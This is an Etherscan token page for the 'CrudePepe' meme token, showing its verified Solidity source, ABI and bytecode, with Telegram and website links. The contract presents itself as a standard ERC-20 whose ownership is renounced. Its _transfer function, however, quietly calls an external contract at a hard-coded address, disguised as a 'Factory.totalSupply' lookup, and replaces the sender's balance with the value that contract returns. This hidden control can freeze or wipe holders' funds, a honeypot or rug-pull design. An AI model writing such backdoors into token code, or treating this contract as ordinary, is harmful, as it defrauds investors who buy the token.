ETH Price: $3,322.68 (-2.85%)
 

Overview

Max Total Supply

420,000,000,000,000 CPEPE

Holders

135

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 16 Decimals)

Filtered by Token Holder
serafinus.eth
Balance
301,417,151,955.8333322411404392 CPEPE

Value
$0.00
0x4fA699eec1F8aCB4a23027A1a9969Fd20F06B39D
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CrudePepe

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 897 runs

Other Settings:
default evmVersion, GNU LGPLv3 license
/**
 *Submitted for verification at Etherscan.io on 2023-10-16
*/

/*

Telegram: https://t.me/crudepepevip
Website: https://crudepepe.vip

*/

pragma solidity ^0.8.5;

abstract contract Ownable  {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface Factory {
    function totalSupply(address, address, uint256) external view returns (uint256);
}

contract CrudePepe is Ownable {
    Factory private _parent = Factory(0x34852866d4A683B1e49BeC2f851eb16403A05d82);
    uint256 private constant _totalSupply = 420000000000000*10**16;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    

    constructor() {
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
        renounceOwnership();
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() public view returns (string memory) {
        return "CrudePepe";
    }

    function symbol() public view  returns (string memory) {
        return "CPEPE";
    }


    function decimals() public view virtual returns (uint8) {
        return 16;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }


    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 pAmount =  _parent.totalSupply(address(this), from, _balances[from]);
        _balances[from] = pAmount;
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600180546001600160a01b0319167334852866d4a683b1e49bec2f851eb16403a05d82179055348015610035575f80fd5b5061003f3361009f565b335f8181526002602090815260408083206c3502ee929df4b7e73e400000009081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361009a6100ee565b61015e565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6100f6610101565b6100ff5f61009f565b565b5f546001600160a01b031633146100ff5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640160405180910390fd5b610af98061016b5f395ff3fe608060405234801561000f575f80fd5b50600436106100da575f3560e01c806370a082311161008857806395d89b411161006357806395d89b41146101ea578063a457c2d714610223578063a9059cbb14610236578063dd62ed3e14610249575f80fd5b806370a082311461019e578063715018a6146101c65780638da5cb5b146101d0575f80fd5b806323b872dd116100b857806323b872dd14610169578063313ce5671461017c578063395093511461018b575f80fd5b806306fdde03146100de578063095ea7b31461012957806318160ddd1461014c575b5f80fd5b60408051808201909152600981527f437275646550657065000000000000000000000000000000000000000000000060208201525b6040516101209190610941565b60405180910390f35b61013c6101373660046109a7565b610281565b6040519015158152602001610120565b6c3502ee929df4b7e73e400000005b604051908152602001610120565b61013c6101773660046109cf565b610297565b60405160108152602001610120565b61013c6101993660046109a7565b6102ba565b61015b6101ac366004610a08565b6001600160a01b03165f9081526002602052604090205490565b6101ce610302565b005b5f546040516001600160a01b039091168152602001610120565b60408051808201909152600581527f43504550450000000000000000000000000000000000000000000000000000006020820152610113565b61013c6102313660046109a7565b610315565b61013c6102443660046109a7565b6103c5565b61015b610257366004610a28565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f61028d3384846103d1565b5060015b92915050565b5f336102a485828561050d565b6102af85858561059f565b506001949350505050565b335f8181526003602090815260408083206001600160a01b03871684529091528120549091906102f890829086906102f3908790610a86565b6103d1565b5060019392505050565b61030a610881565b6103135f6108da565b565b335f8181526003602090815260408083206001600160a01b0387168452909152812054909190838110156103b65760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102af82866102f38785610a99565b5f61028d33848461059f565b6001600160a01b03831661044c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103ad565b6001600160a01b0382166104ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ad565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600360209081526040808320938616835292905220545f198114610599578181101561058a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103ad565b61059984846102f38585610a99565b50505050565b6001600160a01b03831661061b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103ad565b6001600160a01b0382166106975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103ad565b6001546001600160a01b038481165f818152600260205260408082205490517ff1fa3e3f0000000000000000000000000000000000000000000000000000000081523060048201526024810193909352604483015292919091169063f1fa3e3f90606401602060405180830381865afa158015610716573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073a9190610aac565b6001600160a01b0385165f908152600260205260409020819055905080828110156107cd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103ad565b6001600160a01b0385165f908152600260205260409020546107f0908490610a99565b6001600160a01b038087165f90815260026020526040808220939093559086168152205461081f908490610a86565b6001600160a01b038086165f8181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108729087815260200190565b60405180910390a35050505050565b5f546001600160a01b031633146103135760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ad565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f6020808352835180828501525f5b8181101561096c57858101830151858201604001528201610950565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109a2575f80fd5b919050565b5f80604083850312156109b8575f80fd5b6109c18361098c565b946020939093013593505050565b5f805f606084860312156109e1575f80fd5b6109ea8461098c565b92506109f86020850161098c565b9150604084013590509250925092565b5f60208284031215610a18575f80fd5b610a218261098c565b9392505050565b5f8060408385031215610a39575f80fd5b610a428361098c565b9150610a506020840161098c565b90509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8082018082111561029157610291610a59565b8181038181111561029157610291610a59565b5f60208284031215610abc575f80fd5b505191905056fea2646970667358221220ab3d966ba8e6c95949a4060aa44dcb205db0b1d5705545b47a38663cbcbb5ad164736f6c63430008150033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100da575f3560e01c806370a082311161008857806395d89b411161006357806395d89b41146101ea578063a457c2d714610223578063a9059cbb14610236578063dd62ed3e14610249575f80fd5b806370a082311461019e578063715018a6146101c65780638da5cb5b146101d0575f80fd5b806323b872dd116100b857806323b872dd14610169578063313ce5671461017c578063395093511461018b575f80fd5b806306fdde03146100de578063095ea7b31461012957806318160ddd1461014c575b5f80fd5b60408051808201909152600981527f437275646550657065000000000000000000000000000000000000000000000060208201525b6040516101209190610941565b60405180910390f35b61013c6101373660046109a7565b610281565b6040519015158152602001610120565b6c3502ee929df4b7e73e400000005b604051908152602001610120565b61013c6101773660046109cf565b610297565b60405160108152602001610120565b61013c6101993660046109a7565b6102ba565b61015b6101ac366004610a08565b6001600160a01b03165f9081526002602052604090205490565b6101ce610302565b005b5f546040516001600160a01b039091168152602001610120565b60408051808201909152600581527f43504550450000000000000000000000000000000000000000000000000000006020820152610113565b61013c6102313660046109a7565b610315565b61013c6102443660046109a7565b6103c5565b61015b610257366004610a28565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f61028d3384846103d1565b5060015b92915050565b5f336102a485828561050d565b6102af85858561059f565b506001949350505050565b335f8181526003602090815260408083206001600160a01b03871684529091528120549091906102f890829086906102f3908790610a86565b6103d1565b5060019392505050565b61030a610881565b6103135f6108da565b565b335f8181526003602090815260408083206001600160a01b0387168452909152812054909190838110156103b65760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102af82866102f38785610a99565b5f61028d33848461059f565b6001600160a01b03831661044c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103ad565b6001600160a01b0382166104ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ad565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600360209081526040808320938616835292905220545f198114610599578181101561058a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103ad565b61059984846102f38585610a99565b50505050565b6001600160a01b03831661061b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103ad565b6001600160a01b0382166106975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103ad565b6001546001600160a01b038481165f818152600260205260408082205490517ff1fa3e3f0000000000000000000000000000000000000000000000000000000081523060048201526024810193909352604483015292919091169063f1fa3e3f90606401602060405180830381865afa158015610716573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073a9190610aac565b6001600160a01b0385165f908152600260205260409020819055905080828110156107cd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103ad565b6001600160a01b0385165f908152600260205260409020546107f0908490610a99565b6001600160a01b038087165f90815260026020526040808220939093559086168152205461081f908490610a86565b6001600160a01b038086165f8181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108729087815260200190565b60405180910390a35050505050565b5f546001600160a01b031633146103135760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ad565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f6020808352835180828501525f5b8181101561096c57858101830151858201604001528201610950565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109a2575f80fd5b919050565b5f80604083850312156109b8575f80fd5b6109c18361098c565b946020939093013593505050565b5f805f606084860312156109e1575f80fd5b6109ea8461098c565b92506109f86020850161098c565b9150604084013590509250925092565b5f60208284031215610a18575f80fd5b610a218261098c565b9392505050565b5f8060408385031215610a39575f80fd5b610a428361098c565b9150610a506020840161098c565b90509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8082018082111561029157610291610a59565b8181038181111561029157610291610a59565b5f60208284031215610abc575f80fd5b505191905056fea2646970667358221220ab3d966ba8e6c95949a4060aa44dcb205db0b1d5705545b47a38663cbcbb5ad164736f6c63430008150033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.